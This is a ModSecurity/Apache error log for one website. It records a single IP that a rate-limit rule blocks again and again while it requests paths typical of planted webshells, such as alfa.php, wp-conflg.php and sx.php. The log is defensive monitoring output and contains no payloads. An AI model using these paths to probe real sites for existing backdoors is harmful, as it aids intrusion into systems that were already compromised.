[Fri Feb 27 16:31:26.888171 2026] [:error] [pid 54103:tid 54193] [client 20.220.232.101:8021] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaFWXuvG4MPCmE0B2sB2FAAAANY"]
[Fri Feb 27 16:31:27.832142 2026] [:error] [pid 52073:tid 52087] [client 20.220.232.101:8102] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaFWX4a650YPyxXVeRZy3AAAAYs"]
[Fri Feb 27 16:31:28.558030 2026] [:error] [pid 54101:tid 54128] [client 20.220.232.101:8111] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaFWYFY5qgRktcYTGFsiYgAAAdQ"]
[Fri Feb 27 16:31:29.312570 2026] [:error] [pid 49306:tid 49316] [client 20.220.232.101:8028] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWYfnSUDZue59Px9t_KAAAAUg"]
[Fri Feb 27 16:31:29.829919 2026] [:error] [pid 52073:tid 52091] [client 20.220.232.101:8014] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWYYa650YPyxXVeRZy3gAAAY8"]
[Fri Feb 27 16:31:30.556722 2026] [:error] [pid 62998:tid 63026] [client 20.220.232.101:8023] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWYlQeueXZDUmoLonwtAAAARg"]
[Fri Feb 27 16:31:31.005660 2026] [:error] [pid 62998:tid 63009] [client 20.220.232.101:8041] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWY1QeueXZDUmoLonwtQAAAQc"]
[Fri Feb 27 16:31:31.621106 2026] [:error] [pid 56075:tid 56087] [client 20.220.232.101:8026] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaFWY8KBhrfI6KNv9Rgs6wAAAAo"]
[Fri Feb 27 16:31:32.232990 2026] [:error] [pid 49306:tid 49320] [client 20.220.232.101:8049] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaFWZPnSUDZue59Px9t_KQAAAUw"]
[Fri Feb 27 16:31:32.728028 2026] [:error] [pid 56075:tid 56083] [client 20.220.232.101:8169] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaFWZMKBhrfI6KNv9Rgs8QAAAAY"]
[Fri Feb 27 16:31:33.286449 2026] [:error] [pid 52073:tid 52100] [client 20.220.232.101:8029] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaFWZYa650YPyxXVeRZy3wAAAZg"]
[Fri Feb 27 16:31:34.104517 2026] [:error] [pid 54101:tid 54118] [client 20.220.232.101:7975] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFWZlY5qgRktcYTGFsiYwAAAco"]
[Fri Feb 27 16:31:34.916184 2026] [:error] [pid 62998:tid 63001] [client 20.220.232.101:8017] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFWZlQeueXZDUmoLonwtwAAAQA"]
[Fri Feb 27 16:31:35.508076 2026] [:error] [pid 62998:tid 63002] [client 20.220.232.101:8053] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFWZ1QeueXZDUmoLonwuAAAAQE"]
[Fri Feb 27 16:31:36.045196 2026] [:error] [pid 54102:tid 54152] [client 20.220.232.101:8046] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFWaHi74D4fiYUm_GdIiQAAAIg"]
[Fri Feb 27 16:31:36.597870 2026] [:error] [pid 52073:tid 52079] [client 20.220.232.101:8013] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaFWaIa650YPyxXVeRZy4gAAAYM"]
[Fri Feb 27 16:31:37.119654 2026] [:error] [pid 54103:tid 54174] [client 20.220.232.101:7993] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaFWaevG4MPCmE0B2sB2IwAAAMM"]
[Fri Feb 27 16:31:37.647817 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:7959] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaFWaYa650YPyxXVeRZy5AAAAZI"]
[Fri Feb 27 16:31:38.210176 2026] [:error] [pid 49306:tid 49323] [client 20.220.232.101:8125] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaFWavnSUDZue59Px9t_LgAAAU8"]
[Fri Feb 27 16:31:38.908539 2026] [:error] [pid 54103:tid 54193] [client 20.220.232.101:8113] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaFWauvG4MPCmE0B2sB2JgAAANY"]
[Fri Feb 27 16:31:39.660877 2026] [:error] [pid 49306:tid 49312] [client 20.220.232.101:8050] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaFWa_nSUDZue59Px9t_MgAAAUQ"]
[Fri Feb 27 16:31:40.268210 2026] [:error] [pid 49306:tid 49324] [client 20.220.232.101:8176] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaFWbPnSUDZue59Px9t_NQAAAVA"]
[Fri Feb 27 16:31:40.870146 2026] [:error] [pid 52073:tid 52076] [client 20.220.232.101:8122] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaFWbIa650YPyxXVeRZy5wAAAYA"]
[Fri Feb 27 16:31:41.363591 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:8060] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaFWbYa650YPyxXVeRZy6QAAAZQ"]
[Fri Feb 27 16:31:41.955325 2026] [:error] [pid 52073:tid 52095] [client 20.220.232.101:8106] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaFWbYa650YPyxXVeRZy6wAAAZM"]
[Fri Feb 27 16:31:42.654693 2026] [:error] [pid 49306:tid 49320] [client 20.220.232.101:8101] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaFWbvnSUDZue59Px9t_OQAAAUw"]
[Fri Feb 27 16:31:43.314745 2026] [:error] [pid 49306:tid 49327] [client 20.220.232.101:8001] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaFWb_nSUDZue59Px9t_OgAAAVM"]
[Fri Feb 27 16:31:43.854766 2026] [:error] [pid 54103:tid 54184] [client 20.220.232.101:8016] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaFWb-vG4MPCmE0B2sB2KgAAAM0"]
[Fri Feb 27 16:31:44.509819 2026] [:error] [pid 52073:tid 52086] [client 20.220.232.101:8162] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaFWcIa650YPyxXVeRZy7gAAAYo"]
[Fri Feb 27 16:31:45.169740 2026] [:error] [pid 52073:tid 52077] [client 20.220.232.101:7941] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaFWcYa650YPyxXVeRZy7wAAAYE"]
[Fri Feb 27 16:31:45.706901 2026] [:error] [pid 62998:tid 63025] [client 20.220.232.101:8002] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaFWcVQeueXZDUmoLonwvwAAARc"]
[Fri Feb 27 16:31:46.515671 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:7940] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaFWcoa650YPyxXVeRZy8wAAAZI"]
[Fri Feb 27 16:31:47.315465 2026] [:error] [pid 52073:tid 52076] [client 20.220.232.101:8077] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaFWc4a650YPyxXVeRZy-AAAAYA"]
[Fri Feb 27 16:31:47.856840 2026] [:error] [pid 52073:tid 52093] [client 20.220.232.101:8136] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaFWc4a650YPyxXVeRZy_QAAAZE"]
[Fri Feb 27 16:31:48.437834 2026] [:error] [pid 49306:tid 49331] [client 20.220.232.101:8098] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaFWdPnSUDZue59Px9t_PwAAAVc"]
[Fri Feb 27 16:31:49.090004 2026] [:error] [pid 52073:tid 52090] [client 20.220.232.101:8126] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaFWdYa650YPyxXVeRZzCwAAAY4"]
[Fri Feb 27 16:31:49.743167 2026] [:error] [pid 49306:tid 49326] [client 20.220.232.101:8104] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaFWdfnSUDZue59Px9t_QgAAAVI"]
[Fri Feb 27 16:31:50.205173 2026] [:error] [pid 62998:tid 63017] [client 20.220.232.101:8186] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaFWdlQeueXZDUmoLonwwgAAAQ8"]
[Fri Feb 27 16:31:50.672064 2026] [:error] [pid 54231:tid 54245] [client 20.220.232.101:7957] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaFWduTvb5AeyJCdY7DQaAAAAEs"]
[Fri Feb 27 16:31:51.128831 2026] [:error] [pid 62998:tid 63009] [client 20.220.232.101:8065] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aaFWd1QeueXZDUmoLonwxAAAAQc"]
[Fri Feb 27 16:31:51.645449 2026] [:error] [pid 54231:tid 54237] [client 20.220.232.101:7937] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aaFWd-Tvb5AeyJCdY7DQawAAAEM"]
[Fri Feb 27 16:31:52.099135 2026] [:error] [pid 52073:tid 52076] [client 20.220.232.101:7970] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aaFWeIa650YPyxXVeRZzGAAAAYA"]
[Fri Feb 27 16:31:52.583063 2026] [:error] [pid 62998:tid 63010] [client 20.220.232.101:8048] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aaFWeFQeueXZDUmoLonwxQAAAQg"]
[Fri Feb 27 16:31:53.065592 2026] [:error] [pid 49306:tid 49316] [client 20.220.232.101:7950] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaFWefnSUDZue59Px9t_RwAAAUg"]
[Fri Feb 27 16:31:53.579715 2026] [:error] [pid 52073:tid 52082] [client 20.220.232.101:8173] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaFWeYa650YPyxXVeRZzGgAAAYY"]
[Fri Feb 27 16:31:54.095997 2026] [:error] [pid 62998:tid 63002] [client 20.220.232.101:8033] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaFWelQeueXZDUmoLonwxwAAAQE"]
[Fri Feb 27 16:31:54.772787 2026] [:error] [pid 56075:tid 56078] [client 20.220.232.101:7942] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaFWesKBhrfI6KNv9RgtLgAAAAE"]
[Fri Feb 27 16:31:55.316223 2026] [:error] [pid 56075:tid 56080] [client 20.220.232.101:8099] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaFWe8KBhrfI6KNv9RgtLwAAAAM"]
[Fri Feb 27 16:31:55.965877 2026] [:error] [pid 56075:tid 56099] [client 20.220.232.101:8120] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaFWe8KBhrfI6KNv9RgtMAAAABU"]
[Fri Feb 27 16:31:56.433438 2026] [:error] [pid 52073:tid 52093] [client 20.220.232.101:8032] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaFWfIa650YPyxXVeRZzGwAAAZE"]
[Fri Feb 27 16:31:56.915200 2026] [:error] [pid 49306:tid 49311] [client 20.220.232.101:7984] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaFWfPnSUDZue59Px9t_TQAAAUM"]
[Fri Feb 27 16:31:57.425536 2026] [:error] [pid 52073:tid 52081] [client 20.220.232.101:8148] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFWfYa650YPyxXVeRZzHwAAAYU"]
[Fri Feb 27 16:31:57.854820 2026] [:error] [pid 52073:tid 52079] [client 20.220.232.101:8086] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFWfYa650YPyxXVeRZzIwAAAYM"]
[Fri Feb 27 16:31:58.337184 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:8040] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFWfoa650YPyxXVeRZzJAAAAYc"]
[Fri Feb 27 16:31:58.910362 2026] [:error] [pid 54231:tid 54244] [client 20.220.232.101:8061] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFWfuTvb5AeyJCdY7DQbQAAAEo"]
[Fri Feb 27 16:31:59.400634 2026] [:error] [pid 52073:tid 52082] [client 20.220.232.101:7954] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWf4a650YPyxXVeRZzJwAAAYY"]
